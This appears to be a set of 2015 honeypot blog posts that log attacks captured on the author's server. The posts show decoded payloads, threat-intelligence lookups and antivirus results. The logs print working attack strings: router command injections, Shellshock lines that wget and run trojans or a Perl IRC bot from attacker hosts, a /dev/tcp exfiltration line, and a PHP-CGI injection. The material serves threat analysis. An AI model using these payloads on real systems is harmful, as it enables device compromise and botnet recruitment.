Encoded NTTPD atack from 110.170.205.51

2015-07-19 05:17:46
Source IP: 110.170.205.51
Country: TH RiskScore: 2.9 Malware: []
POST /tmUnblock.cgi HTTP/1.1
content-length: 946

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2d%66%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%6e%74%74%70%64%20%68%74%74%70%3a%2f%2f%31%31%30%2e%31%37%30%2e%32%30%35%2e%35%31%3a%33%33%34%34%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%2e%73%68%3b%2e%2f%2e%6e%74%74%70%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31
 END OF DATA

The url decodes to

 submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .nttpd.sh;echo "rm -f .nttpd" >> .nttpd.sh;echo "wget -O .nttpd http://110.170.205.51:3344" >> .nttpd.sh;echo "chmod +x .nttpd" >> .nttpd.sh;echo "./.nttpd" >> .nttpd.sh;chmod +x .nttpd.sh;./.nttpd.sh`&StartEPI=1

So basically the same as we had yesterday. Again the software is not downloadable.
But we have a RiskScore (2.9) reported by IBM X-Force Exchange

{
   "categoryDescriptions": {
      "Spam": "This category lists IP addresses that were seen sending out spam.                                                                             "
   },
   "cats": {
      "Spam": 29
   },
   "geo": {
      "country": "Thailand",
      "countrycode": "TH"
   },
   "ip": "110.170.205.51",
   "reason": "Spam sending activity",
   "reasonDescription": "This IP was involved in spam sending activities.",
   "score": 2.9,
   "subnets": [
      {
         "categoryDescriptions": {},
         "cats": {},
         "created": "2012-03-22T07:26:00.000Z",
         "geo": {
            "country": "Thailand",
            "countrycode": "TH"
         },
 

Encoded NTTPD atack from 149.129.69.111

Earlier today my honeypot (new version by the way), received an encoded attack

2015-07-17 19:04:14
Source IP: 149.129.69.111
Country: MY RiskScore: 1 Malware: []
POST /tmUnblock.cgi HTTP/1.1
content-length: 946

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63%74%69%6f%6e%3d&%61%63%74%69%6f%6e%3d&%63%6f%6d%6d%69%74%3d&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63%64%20%2f%74%6d%70%3b%65%63%68%6f%20%22%23%21%2f%62%69%6e%2f%73%68%22%20%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%72%6d%20%2d%66%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%77%67%65%74%20%2d%4f%20%2e%6e%74%74%70%64%20%68%74%74%70%3a%2f%2f%31%34%39%2e%31%32%39%2e%36%39%2e%31%31%31%3a%33%33%34%34%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%65%63%68%6f%20%22%2e%2f%2e%6e%74%74%70%64%22%20%3e%3e%20%2e%6e%74%74%70%64%2e%73%68%3b%63%68%6d%6f%64%20%2b%78%20%2e%6e%74%74%70%64%2e%73%68%3b%2e%2f%2e%6e%74%74%70%64%2e%73%68%60&%53%74%61%72%74%45%50%49%3d%31

The encoded string decodes to

 submit_button=&change_action=&action=&commit=&ttcp_num=2&ttcp_size=2&ttcp_ip=-h `cd /tmp;echo "#!/bin/sh" > .nttpd.sh;echo "rm -f .nttpd" >> .nttpd.sh;echo "wget -O .nttpd http://149.129.69.111:3344" >> .nttpd.sh;echo "chmod +x .nttpd" >> .nttpd.sh;echo "./.nttpd" >> .nttpd.sh;chmod +x .nttpd.sh;./.nttpd.sh`&StartEPI=1

 The software cant be downloaded currently, as the IP address is not responding. Best guess is that the attack tried to install a open directory web server. 

Multiple ChinaZ related attacks - 211.147.2.192

Yesterday, my honeypot was hit by several ChinaZ related attacks.

{"message":"Jul 13 06:38:52 localhost [mypyfwa] 2015-07-13 06:38:52.540616 211.147.2.192 - - [12/Jul/2015:20:48:02 +0200] \"GET / HTTP/1.1\" 404 442 \"() { :; }; /bin/bash -c \\\"rm -rf /tmp/*;echo wget http://211.147.2.192:911/1122.64 -O /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\\\"\" \"() { :; }; /bin/bash -c \\\"rm -rf /tmp/*;echo wget http://211.147.2.192:911/1122.64 -O /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo echo By China.Z >> /tmp/Run.sh;echo chmod 777 /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo /tmp/China.Z-oxdn\\x18 >> /tmp/Run.sh;echo rm -rf /tmp/Run.sh >> /tmp/Run.sh;chmod 777 /tmp/Run.sh;/tmp/Run.sh\\\"\" 211.147.2.192 CN SHELLinjection","@version":"1","@timestamp":"2015-07-13T04:38:52.586Z","type":"syslog","file":"/var/log/smsids.log","host":"beeswarm","offset":"26328","tags":["_grokparsefailure"],"syslog_severity_code":5,"syslog_facility_code":1,"syslog_facility":"user-level","syslog_severity":"notice"}

All attacks were originated from the same source IP:

•  211.147.2.192

"ip": "211.147.2.192",
   "subnets": [
      {
         "categoryDescriptions": {},
         "cats": {},
         "created": "2012-03-22T07:26:00.000Z",
         "geo": {
            "country": "China",
            "countrycode": "CN"
         },

There were three different files within the attacks

•  ./1122.32: Linux.Trojan.IptabLex FOUND
• ./1122.64: Linux.Trojan.IptabLex FOUND
• ./8uc: Unix.Trojan.DDoS_XOR-1 FOUND

pi@raspberrypi ~/ana $ file 1122.32
1122.32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically li            nked, for GNU/Linux 2.6.9, not stripped
pi@raspberrypi ~/ana $ file 1122.64
1122.64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked,  for GNU/Linux 2.6.9, not stripped
pi@raspberrypi ~/ana $ file 8uc
8uc: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked , for GNU/Linux 2.6.9, not stripped

Urlencoded attack by 198.154.63.131

 After some weeks with really not much going on on the honeypot, I had an urlencoded attack yesterday.

{"message":"Jul 4 06:41:57 localhost [mypyfwa] 2015-07-04 06:41:57.032661 POST //%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1 198.154.63.131 US Length","@version":"1","@timestamp":"2015-07-04T04:41:57.587Z","type":"syslog","file":"/var/log/smsids.log","host":"beeswarm","offset":"12613","tags":["_grokparsefailure"],"syslog_severity_code":5,"syslog_facility_code":1,"syslog_facility":"user-level","syslog_severity":"notice"}

The url decodes to

 cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n

 This sort of attacks are not that interesting, at least to me.
The attack was launched from US by

NetType:        Direct Allocation
OriginAS:       AS26272
Organization:   FortaTrust USA Corporation (FUC-9)
 

The IBM XForce Exchange data shows

{
   "cats": {},
   "geo": {
      "country": "United States",
      "countrycode": "US"
   },
   "ip": "198.154.63.131",
   "score": 1,
   "subnets": [
      {
         "cats": {},
         "created": "2012-09-15T06:28:00.000Z",
         "geo": {
            "country": "United States",
            "countrycode": "US"
         },
         "ip": "198.154.60.0",
         "reason": "Regional Internet Registry",
         "score": 1,
         "subnet": "198.154.60.0/22"
      }
   ]
}
 

Shellinjection attack: /dev/tcp/74.208.79.34/21 -- bash echo

My Honeypot was attacked by

Jun 18 06:42:08 beeswarm [mypyfwa] 2015-06-18 06:42:08.029145 213.165.70.245 - - [17/Jun/2015:16:11:21 +0200] "GET /cgi-bin/bash HTTP/1.1" 404 529 "() { :;}; /bin/bash -c \"echo 109.234.106.8/cgi-bin/bash  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.234.106.8/cgi-bin/bash > /dev/udp/74.208.79.34/21\"" "() { :;}; /bin/bash -c \"echo 109.234.106.8/cgi-bin/bash  > /dev/tcp/74.208.79.34/21; /bin/uname -a > /dev/tcp/74.208.79.34/21; echo 109.234.106.8/cgi-bin/bash > /dev/udp/74.208.79.34/21\"" 213.165.70.245 DE SHELLinjection

So, what is happening here:

1. I needed to ask the experts on what could be done via "> /dev/tcp/74.208.79.34/21", the result is quite simple, a feature by the bash could lead to opening a tcp connection to 74.208.79.34 port 21
2. The attacker tried to report the vulnerability of my server to the ip address within the attack.
3. He tried it via UDP and TCP

The source of the attack was:  213.165.70.245 which is a server hosted by "1&1 Internet Inc."

The reporting destination was:  74.208.79.34 which is a server hosted by the same company.

JST IrcBot revisited

Maybe you remember the shellinjection I reported yesterday.
This morning I took the time to read a bit through the code

 JST Perl IrcBot v3.0 / 2011 by FrankBlack @ Millenium Group
 Stealth MultiFunctional IrcBot writen in Perl
 Teste on every system with PERL instlled     

 This is a free program used on your own risk.  
 Created for educational purpose only.             
 I'm not responsible for the illegal use of this program. 

The bot has some nice features and is very nice written. 
Again the software is detected via clamscan

den: Trojan.IRCBot-1142

and if it is not a mistake (by not changing the origin address)



even as it looks like a example, the domain well responds to ping and the IRC server runs :-)

Perl script injection: 85.214.60.234/den

The last two days several Shell injections have hit my Honeypot. Any of them tried to download a prscript and execute it

Jun 13 06:42:11 beeswarm [mypyfwa] 2015-06-13 06:42:11.531828 74.208.167.71 - - [12/Jun/2015:20:25:25 +0200] "GET / HTTP/1.1" 404 442 "() { :;}; cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;rm -fr den*\"" "() { :;}; cd /var/spool/samba/;wget 85.214.60.234/den;perl den;rm -fr den;curl -sO 85.214.60.234/den;perl den;rm -fr den*\"" 74.208.167.71 US SHELLinjection

I have downloaded the file manually, it is a perl IRCbot.

 /XFupload.py -f den
{"malware":{"type":"md5","md5":"0x7AE21F4543FE5F842A7BB9F79D95A88E","origins":{"external":{"detectionCoverage":35,"family":["trojan"]}}}}

and

clamscan den
den: Trojan.IRCBot-1142 FOUND

The sources of the attrack are

•  223.252.35.159 (AU)

• 74.208.167.71 (US)

Both hosts seem to be hosted servers (1and1 and Ozservers)

The perl script seems to be written by "Jericho Security Team Perl Bot v3.0"
Strange as it is, the server address within the script is set to

place.youredomainhere.net

Or even more strange that this domain is hosted by schlund

inetnum:        87.106.0.0 - 87.106.15.255
netname:        SCHLUND-CUSTOMERS
descr:          1&1 Internet AG
country:        DE